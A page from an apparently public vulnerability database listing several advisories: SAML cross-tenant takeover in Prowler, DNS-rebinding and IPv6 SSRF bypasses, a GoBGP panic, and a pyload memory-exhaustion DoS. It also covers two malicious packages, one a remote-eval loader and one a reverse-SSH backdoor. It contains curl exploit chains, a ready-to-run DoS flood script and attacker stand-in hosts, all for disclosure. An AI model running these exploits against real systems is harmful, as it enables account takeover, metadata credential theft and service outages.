steal the victim's `access_token`, `id_token`, and `refresh_token`. The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. ## Proposed Fix Add the same `IsValidOrigin` check that was applied to the other handlers in v2.0.1: ```go // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return } ``` | GCVE Database | ||
| Critical | 9.6 | EPSS 0.5% | CVE-2026-59151prowler · Improper Authentication Critical9.6EPSS 0.5%CVE Database V5CVE-2026-59151 ## SAML Tenant Binding Enables Cross-Tenant Account Takeover ### Summary Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain. In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant. The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email_domain` and `SAMLDomainIndex.email_domain` are globally unique. ### Details The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain: ```python email_domain = user.email.split("@")[-1] tenant = ( SAMLConfiguration.objects.using(MainRouter.admin_db) .get(email_domain=email_domain) .tenant ) ``` This is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain. The attack is made possible by several compounding weaknesses: 1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email_domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant. 2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route. 3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social_login.py:23, 25`): `SOCIALACCOUNT_EMAIL_AUTHENTICATION = True` and `SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True` are hardcoded and cannot be disabled at runtime. 4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social_login.py:78`): `reject_idp_initiated_sso: False` allows the attacker to initiate the flow without requiring any action from the victim. 5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration. 6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member. ### PoC **Environment setup:** ```bash # Build the PoC Docker image (build context = repo root) docker build -t vuln001-poc -f vuln-001/Dockerfile . # Start the stack (PostgreSQL + PoC runner) docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit ``` **Automated test (runs inside the container):** ```bash python -m pytest poc_vuln001.py -v -s --no-header --tb=short ``` **Manual HTTP exploitation chain (against a live Prowler API):** **Step 1 - Attacker configures SAML for their own email domain:** ```bash curl -i -X POST "$API/api/v1/saml-config" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{"type":"saml-configurations","attributes":{ "email_domain":"attacker.com", "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>" }} }' ``` The attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique. **Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:** ```bash # SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key, # valid for the attacker's configured IdP, but asserting NameID = user@victim.com curl -i -L -c c.jar -b c.jar \ -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \ --data-urlencode "SAMLResponse=$SIGNED_ASSERTION" ``` **Step 3 - Vulnerable ACS finish logic derives | CVE Database V5 | ||
| Medium | 6.5 | Medium6.5GCVE Database ### Summary GHSA-7r34-79r5-rcc9's fix added `validate_url_for_ssrf`, which resolves the attacker-controlled `X-Atlassian-{Jira,Confluence}-Url` header host **once at middleware time** and trusts the result. But the outbound request is later built with the **raw hostname** and **re-resolves at connect time with no IP pinning**. An attacker-controlled rebinding DNS name returns a public IP on the guard's lookup (validation passes) and `169.254.169.254` / an internal IP on the request's lookup (the socket connects there) → unauthenticated SSRF to cloud metadata / internal services on the **patched** build. ### Relationship to CVE-2026-27826 / GHSA-7r34-79r5-rcc9 (incomplete fix — please read first) This is an **incomplete-fix sibling** of the published `GHSA-7r34-79r5-rcc9` (the `X-Atlassian-*-Url` header SSRF). That fix (PR #986/#1005) added a single middleware-time resolve + allowlist DNS-skip, but **does not pin the validated IP to the connection** — the fetcher re-resolves the raw hostname at connect time, so the documented SSRF mitigation is incomplete against DNS-rebinding. The other advisory `GHSA-xjgw-4wvw-rgm4` (file-write) is unrelated. Verified live (2026-06-27): neither advisory, nor any open PR/issue (`rebind`/`TOCTOU`/`getaddrinfo`/`pin` → 0), covers connect-time re-resolution. Filing as an incomplete-fix of GHSA-7r34 (not a standalone fresh SSRF). ### Affected `src/mcp_atlassian/utils/urls.py` + `servers/main.py` + `servers/dependencies.py`, HEAD `ba72540` (PyPI `mcp-atlassian`, patched ≥0.17.0). **CWE-918** (SSRF) via **CWE-367** (TOCTOU). ### Vulnerable code `utils/urls.py` `validate_url_for_ssrf` (≈184-205) resolves + validates, then returns a **string verdict, not a pinned IP**: ```python def validate_url_for_ssrf(url: str) -> str | None: # returns an error string or None — NO IP is pinned ... # resolves the host, checks each resolved IP is global, then DISCARDS the IP ``` `servers/main.py:526,534` calls it once in middleware. `servers/dependencies.py:544-561` then builds the fetcher with `url = <raw header hostname>` (no pinned IP, no custom resolver / cached-getaddrinfo adapter), so the actual request re-resolves the name. ### PoC (executed — boundary demonstration) The PoC loads the **real** `urls.py` by path (`importlib`, `sha256` printed) and drives the genuine `validate_url_for_ssrf`, simulating the two resolutions via `getaddrinfo`: ``` [CHECK ] validate_url_for_ssrf('http://rebind.attacker.example') -> None (getaddrinfo#1 = 93.184.216.34 global -> guard PASSED) [CONNECT] getaddrinfo call #2 returned 169.254.169.254 -> the socket connects HERE [PROOF ] guard validated IP 93.184.216.34 but connection targets 169.254.169.254 => SSRF on the PATCHED build [CONTROL] if guard SAW 169.254.169.254 at check time -> blocks it correctly [PIN ] validate_url_for_ssrf returns a verdict (None), NOT an IP; dependencies.py builds url=raw hostname -> NO pin ALL PoC ASSERTIONS PASSED — DNS-rebind TOCTOU bypass demonstrated. ``` **Honest scope of the PoC:** this is a **boundary** demonstration — it proves the structural TOCTOU (the guard validates an IP it then discards; the connection re-resolves an unpinned hostname). It does **not** demonstrate a live end-to-end SSRF on a running server; that additionally requires an attacker-controlled fast-rebinding authoritative DNS responder winning the resolve→connect window. Flagging this explicitly rather than overclaiming. ### Impact Same as parent GHSA-7r34 (unauth read of cloud-metadata IAM creds / internal-service reach), reachable again on the patched version. The `X-Atlassian-*-Url` headers are processed in `UserTokenMiddleware` before fetcher creation, so an unauthenticated/low-priv caller controls the host. ### Severity **High — CVSS v3.1 `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ≈ 7.x**, aligned to the parent (8.2) with `AC:H` for the rebinding-race precondition. Honest caveat (above): the executed PoC proves the missing IP-pin structurally; a live exploit additionally needs an attacker rebinding-DNS. Not Critical. ### Remediation Pin the connection to the IP that `validate_url_for_ssrf` validated: use a custom resolver / cached-`getaddrinfo` `requests`-adapter (or pass the validated IP with a `Host` header), so the connect cannot re-resolve to a different address. ### Dedup / freshness (re-verified live 2026-06-27) Advisories `GHSA-7r34-79r5-rcc9` (original header SSRF this bypasses) + `GHSA-xjgw-4wvw-rgm4` (file-write, unrelated). Neither covers connect-time re-resolution / rebinding. PR [#986](https://github.com/sooperset/mcp-atlassian/pull/986)/[#1005](https://github.com/sooperset/mcp-atlassian/pull/1005) (the fix) add a single middleware-time resolve + allowlist DNS-skip, no pinning. `gh search prs/issues` for rebind/TOCTOU/getaddrinfo/pin → 0. First-party code. **Fresh** at HEAD `ba72540`. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d329e426a3af00dc4cb53c8535a3e53848f09a1b80e561f84f29c77bffe746d7) Package impersonates Feross Aboukhadijeh's widely-used `buffer` package, copying its author, repository, contributors, and description metadata while publishing under the name `buffer-util-internal`. The main module `index.js` contains a top-level IIFE that base64-decodes a hardcoded URL (decoding to https://www.jsonkeeper.com/b/PT0ON), fetches a JSON document from that anonymous paste host, and passes the response's `content` field directly to `eval`. The destination URL is hidden behind a variable named `tokenStringRe` with a misleading `// Random string to generate strong random value` comment, alongside a second base64 string referencing a sibling paste id. Because the fetched content is attacker-mutable, every consumer that requires this package executes whatever JavaScript the paste host serves at that moment — a full remote code execution primitive on the installer at require time. The package also declares unusual dependencies (axios, execp, request) inconsistent with the legitimate `buffer` package. | GCVE Database | |||
| Medium | 5.9 | EPSS 0.4% | Medium5.9EPSS 0.4%GCVE DatabaseCVE-2026-49838 Found through variant analysis based on `CVE-2026-41643` ## Summary GoBGP accepts a zero-length AS_PATH during UPDATE decoding and later panics while validating that attribute for a confederation eBGP peer. The vulnerable path is in the BGP UPDATE validator: a malformed UPDATE that should be rejected as a malformed AS_PATH instead reaches an unchecked `p.Value[0]` access, allowing a configured confederation eBGP peer to trigger a denial of service. ## Affected - Project: gobgp - Repo: https://github.com/osrg/gobgp - Pinned ref: c24629411ba49f160d9dc09126f418218127e016 ## Root cause An established peer's receive path reads BGP bytes from the network connection in `pkg/server/fsm.go:1267`, parses UPDATE bodies through the BGP message decoder, and validates decoded UPDATEs with peer state at `pkg/server/fsm.go:1849`. The UPDATE decoder walks the path-attribute list in `pkg/packet/bgp/bgp.go:15773` and selects the concrete attribute parser from the attacker-controlled attribute type at `pkg/packet/bgp/bgp.go:15855`. For AS_PATH, `PathAttributeAsPath.DecodeFromBytes` returns nil when the decoded attribute length is zero (`pkg/packet/bgp/bgp.go:11533`, `pkg/packet/bgp/bgp.go:11538`), leaving `p.Value` empty rather than reporting a malformed attribute. Validation then dispatches each decoded attribute through `ValidateAttribute` (`pkg/packet/bgp/validate.go:34`); in the confederation eBGP branch, `pkg/packet/bgp/validate.go:162` indexes `p.Value[0]` before checking that any AS_PATH segment was decoded. The eBGP and confederation guards are normal peer-state gates: `pkg/config/oc/util.go:127` defines eBGP as peer AS differing from local AS, `pkg/config/oc/util.go:116` checks confederation membership, and `pkg/server/fsm.go:740` and `pkg/server/fsm.go:741` copy those results into the FSM state used by the validator. ## Reproduction [INT-bgp-gobgp-confed-empty-aspath-panic.zip](https://github.com/user-attachments/files/28203698/INT-bgp-gobgp-confed-empty-aspath-panic.zip) ```bash bash ./poc/run.sh ``` ```text TRIGGERED: confed empty AS_PATH validation panic: runtime error: index out of range ``` The `TRIGGERED` line is the recovered panic fingerprint from the confederation eBGP validation path after a zero-length AS_PATH has decoded successfully. A build failure or any output without that fingerprint would not demonstrate this bug, because the signal is tied to the unchecked AS_PATH segment access. ## Impact A remote unauthenticated peer that is configured as a confederation eBGP neighbor can establish a BGP session and send a single malformed UPDATE containing a syntactically valid AS_PATH attribute header with zero value length. Because the decode path does not turn that empty AS_PATH into a `MessageError`, normal malformed-attribute handling is bypassed and validation panics before GoBGP can return a BGP NOTIFICATION. The demonstrated effect is denial of service for the receive goroutine and peer session, with potential process termination if the panic is not recovered by the runtime path; no memory corruption, data disclosure, authentication bypass, or code execution is claimed. ## Suggested fix ```001-fix.diff diff --git a/pkg/packet/bgp/validate.go b/pkg/packet/bgp/validate.go index 2237afb..f07f4fa 100644 --- a/pkg/packet/bgp/validate.go +++ b/pkg/packet/bgp/validate.go @@ -159,6 +159,9 @@ func ValidateAttribute(a PathAttributeInterface, rfs map[Family]BGPAddPathMode, case *PathAttributeAsPath: if isEBGP { if isConfed { + if len(p.Value) == 0 { + return false, NewMessageError(eCode, eSubCodeMalformedAspath, nil, "empty AS_PATH for confederation eBGP") + } if segType := p.Value[0].GetType(); segType != BGP_ASPATH_ATTR_TYPE_CONFED_SEQ { return false, NewMessageError(eCode, eSubCodeMalformedAspath, nil, fmt.Sprintf("segment type is not confederation seq (%d)", segType)) } ``` ## Resources - https://github.com/osrg/gobgp/blob/c24629411ba49f160d9dc09126f418218127e016/pkg/packet/bgp/bgp.go#L11533-L11540 - https://github.com/osrg/gobgp/blob/c24629411ba49f160d9dc09126f418218127e016/pkg/packet/bgp/validate.go#L159-L164 | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2da390c130eb840eb129a5d43faf0a64a0f0f602070243613aa0e2f8ea8f6d04) The package advertises itself as a wrapper for a 'qsshd executable' but the bundled Go binary is a reverse-SSH daemon that grants a remote operator persistent shell, exec, pty, and TCP port-forwarding on the installer's host. The entry point `proxy-check-i` (declared in the package's console_scripts, mapped to `qsshd.launcher:main`) uses `os.execv` to launch the bundled Go binary. The daemon establishes device identity by writing a `.device_lock` file under `$XDG_CONFIG_HOME`, `/dev/shm`, or `/tmp`, then repeatedly dials out to a relay via `github.com/mydearniko/overthing` (`tunnel.NewServer` with `RelayURI` and `ForwardAddr` pointing at the local SSH listener). SSH authentication only accepts a single hardcoded ed25519 public key embedded at build time via `//go:embed authorized_keys`, so only the key holder can connect. The reverse-connect design bypasses inbound firewalls. PyPI metadata is a cover story: PKG-INFO summary mentions only 'qsshd executable' with no README and no disclosure of SSH-server, authorized-keys, or outbound-relay behavior, so an installer cannot infer they are enabling a remote-shell daemon. Any host that runs `proxy-check-i` is remotely controllable by the key holder. ## Source: kam193 (dd01be5624206ed8c0a5ba9535c9a9e79ed8770b37eb9ebc381edbe73cb5e779) The embedded binary starts a relayed SSH-like server using a hardcoded authorized_key. Thanks to using a relay network, the attacked does not need to directly expose ports from the machine. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-proxy-check-i Reasons (based on the campaign): - backdoor - The package contains code to execute remote commands (probably limited to a specific set) on the victim's machine. | GCVE Database | |||
| Medium | 6.5 | EPSS 0.4% | Medium6.5EPSS 0.4%GCVE DatabaseCVE-2026-48987 ## Description: The `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. ## Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 > Here the client is added to the `clients` list but never cleared the inactive clients. ## Exploitation: 1. **Start pyLoad server** (Ensure the `pyload` server is running) 2. **Authenticate**: Obtain a session cookie or an API key (Here i used the API key). 3. **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`. ```python import requests import uuid import time # Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): # Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") ``` 5. **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands). ```bash PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done ``` 6. **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 ## Impact: - Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. ## Mitigations: - **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones. - **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs. | GCVE Database | ||
| Medium | 4.9 | EPSS 0.3% | Medium4.9EPSS 0.3%GCVE DatabaseCVE-2026-48737 ## Summary `is_global_address` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) is the central guard against SSRF-style outbound connections in pyload-ng. It tests whether a given IP is "globally routable" via Python's `ipaddress.ip_address(value).is_global`, and callers treat `not is_global` as "deny": ```python def is_global_address(value): try: return ipaddress.ip_address(value).is_global except ValueError: return False def is_global_host(value): ips = host_to_ip(value) return ips and all((is_global_address(ip) for ip in ips)) ``` Python's `ipaddress.IPv6Address.is_global` classifies the NAT64 well-known prefix as **globally routable** on every supported Python version (3.9 through 3.14 confirmed), and on older Pythons (3.9-3.11) the 6to4 prefix as well: | address | `is_global` on Py 3.9-3.11 | `is_global` on Py 3.12+ | wrapped IPv4 | |----------------------------------|---------------------------|--------------------------|----------------------| | `2002:7f00:0001::` (6to4) | True | False | 127.0.0.1 | | `2002:0a00:0001::` (6to4) | True | False | 10.0.0.1 | | `2002:a9fe:a9fe::` (6to4) | True | False | 169.254.169.254 (IMDS)| | `64:ff9b::a9fe:a9fe` (NAT64) | True | True | 169.254.169.254 | | `64:ff9b::7f00:1` (NAT64) | True | True | 127.0.0.1 | pyload-ng declares `python_requires = >=3.9` (`setup.cfg`), so deployments on Python 3.9-3.11 see the 6to4 path too. The NAT64 path is universal. `is_global` returns True for these wrappers, so `is_global_address` returns True and the deny check passes. The pycurl `PREREQFUNC` at [`src/pyload/core/network/http/http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/network/http/http_request.py#L680) consults the same helper just before TCP-connect: ```python if not self.allow_private_ip: is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port) if not is_global_address(conn_primary_ip) and not is_proxy_ip: return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK ``` On a host with 6to4 routing (legacy operator tunnels; `2002::/16` still configurable) or NAT64 (cloud IPv6-only subnets with NAT64 gateway), the encoded form routes to the embedded IPv4 and the curl connection terminates at the internal endpoint, defeating the deny. `is_global_host` (the helper that callers like `parse_urls` use against a URL hostname) feeds through `host_to_ip` which pins `family=AF_INET`, so hostname-based reach to these forms relies on the attacker supplying an IPv6 literal in the URL — but the curl PREREQFUNC sees the actual resolved IP (the AAAA returned for the hostname), so a hostname with an AAAA record set to one of the bypass forms reaches the same gap. Cross-reference: this is the same incomplete-coverage class as pydantic-ai's [GHSA-cqp8-fcvh-x7r3](https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3) / CVE-2026-46678. pyload-ng's prior SSRF advisories [GHSA-7gvf-3w72-p2pg](https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg) and [GHSA-8rp3-xc6w-5qp5](https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5) both went through `is_global_host` / `is_global_address`; the IPv6 transition gap is orthogonal to those redirect-bypass classes. ## Severity **MEDIUM** — `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:L` = **4.7** - `AC:H` — exploitation requires the host network to route 6to4 (`2002::/16` traffic), have a NAT64 gateway, or otherwise resolve the IPv6 transition form to an internal IPv4 endpoint at the TCP layer. - `PR:L` — `parse_urls` ([`src/pyload/core/api/__init__.py:582`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/api/__init__.py#L582)) requires `Perms.ADD`, which any account capable of adding links holds. The curl PREREQFUNC at [`http_request.py:680`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/http_request.py#L680) is reached by every downloader plugin that runs after `is_global_host` passed. - `C:L/A:L` — internal-network recon and timing-based confirmation; cloud-metadata exfiltration on networks where the transition form actually routes. **CWE-918**: Server-Side Request Forgery (SSRF). ## Affected versions `pyload-ng` from the introduction of `is_global_address` / `is_global_host` in [`src/pyload/core/utils/web/check.py`](https://github.com/pyload/pyload/blob/1b12dc7f348db8c144e0f39215680415e90ca4d2/src/pyload/core/utils/web/check.py) up to an | GCVE Database |
Page 9 of 20